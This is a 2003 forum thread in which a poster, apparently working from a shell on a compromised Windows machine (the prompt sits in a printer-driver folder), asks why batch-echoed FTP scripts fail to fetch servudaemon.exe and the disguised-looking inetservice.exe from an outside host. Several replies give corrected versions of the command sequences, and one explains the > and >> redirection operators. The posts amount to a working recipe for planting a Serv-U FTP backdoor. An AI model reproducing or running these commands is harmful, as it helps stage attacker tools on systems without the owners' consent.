MaZo
Nov 3 2003, 10:03 AM
Hello,
I got a problem with echo-ing stuff.
I got a FTP server up and running with the files needed for the machine I want to use echo at.
It is logging in and stuff, but it doesn't download shit. I'm sure the permissions are right for the username.
I tried:
| QUOTE |
echo open 192.168.1.1 21 >> go.bat echo username >> go.bat echo password >> go.bat echo get servudaemon.exe >> go.bat echo get servudamon.ini >> go.bat echo quit >> go.bat ftp -s:go.bat |
And I also tried:
| QUOTE |
echo ftp -i -s:o >> go.bat echo inetservice.exe >> go.bat echo open 192.168.1.1 21 >> o echo web >> o echo dav >> o echo get bla.exe >> o echo get bla.ini >> o echo quit >> o echo go.bat go.bat |
Both are giving me the same error:
| QUOTE |
ftp -s:go.bat
User (192.168.1.1:(none)): open 192.168.1.1 21
Invalid command. |
Someone who knows what I'm doing wrong here?
Thanks for helping.
andydis
Nov 3 2003, 11:58 AM
echo open 192.168.1.1 21 > go.bat
echo username >> go.bat
echo password >> go.bat
echo get servudaemon.exe >> go.bat
echo get servudamon.ini >> go.bat
echo quit >> go.bat
ftp -s:go.bat
The first echo needs to be one ">" to make the start line
the rest can then be double ">>'s" to add below the top line
hope that helps
DIZ.
UK
MaZo
Nov 3 2003, 01:56 PM
Nope, nothing. It doesn't even connect to the FTP now.

I'm getting this:
| QUOTE |
C:\WINNT\system32\spool\drivers\w32x86\2> ftp -i -s:go.bat
Invalid command. Invalid command. Not connected. Not connected. open 128.121.*.* 61255 web dav get inetservice.exe get inetservice.dll quit > ftp: connect :Connection timed out |
AssCrack25
Nov 3 2003, 05:30 PM
Try this...
echo open X.X.X.X PORT >> go.bat
echo user LOGINNAME >> go.bat
echo pass PASSWORD >> go.bat
echo get servudaemon.exe >> go.bat
echo get servudamon.ini >> go.bat
echo quit >> go.bat
ftp.exe -i -n -v -s:go.bat
GhostCow
Nov 4 2003, 08:08 AM
no no it goes like this:
EXAMPLE:
echo open x.x.x.x 21>>tmp
echo user exec>tmp
echo exec>tmp
echo binary>tmp
echo get servu.exe>tmp
echo get servu.ini>tmp
echo quit>tmp
the second line is the user name
the third line is the password... i didnt put PASS before it because the ftp prompts for a password and putting PASS infront of it is like putting an extra word in the password...
BlaStA
Nov 4 2003, 12:14 PM
GhostCow is right, but he missed the thing with ">" and ">>". The first line has to end with ">tmp" and the rest with the ">>tmp".
ivan288
Nov 4 2003, 07:00 PM
many thanx guys had the same problem
Grinler
Nov 4 2003, 09:19 PM
Just for those who dont understand what the > and >> means here is a quick intro.
The '>' and '<' character works similar under dos and unix are are used to redirect the output of a command.
The > and >> both redirect the output, but vary in how that output is put into a file. If you use the > redirector, it will redirect the output into a file, create a new file if it does not exist, or overwrite a file if it does exist.
The >> redirector, redirects the output into a file, and if the file exists, will append the output into the file. If the file does not exist, it will create a file and add the data.
For example:
echo test > test.txt
In the above example if the file does not exist, it will create a file test.txt and adds the text test to that file. If the file does exist, it overwrites the file and adds the text test to that file.
echo test >> test.txt
In the above example, if the does not exist, it will create a file test.txt and adds the text test to that file. If the files does exist, it does not overwrite the data in the file, but rather appends the word test as a new line into the file.
I hope this helps.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.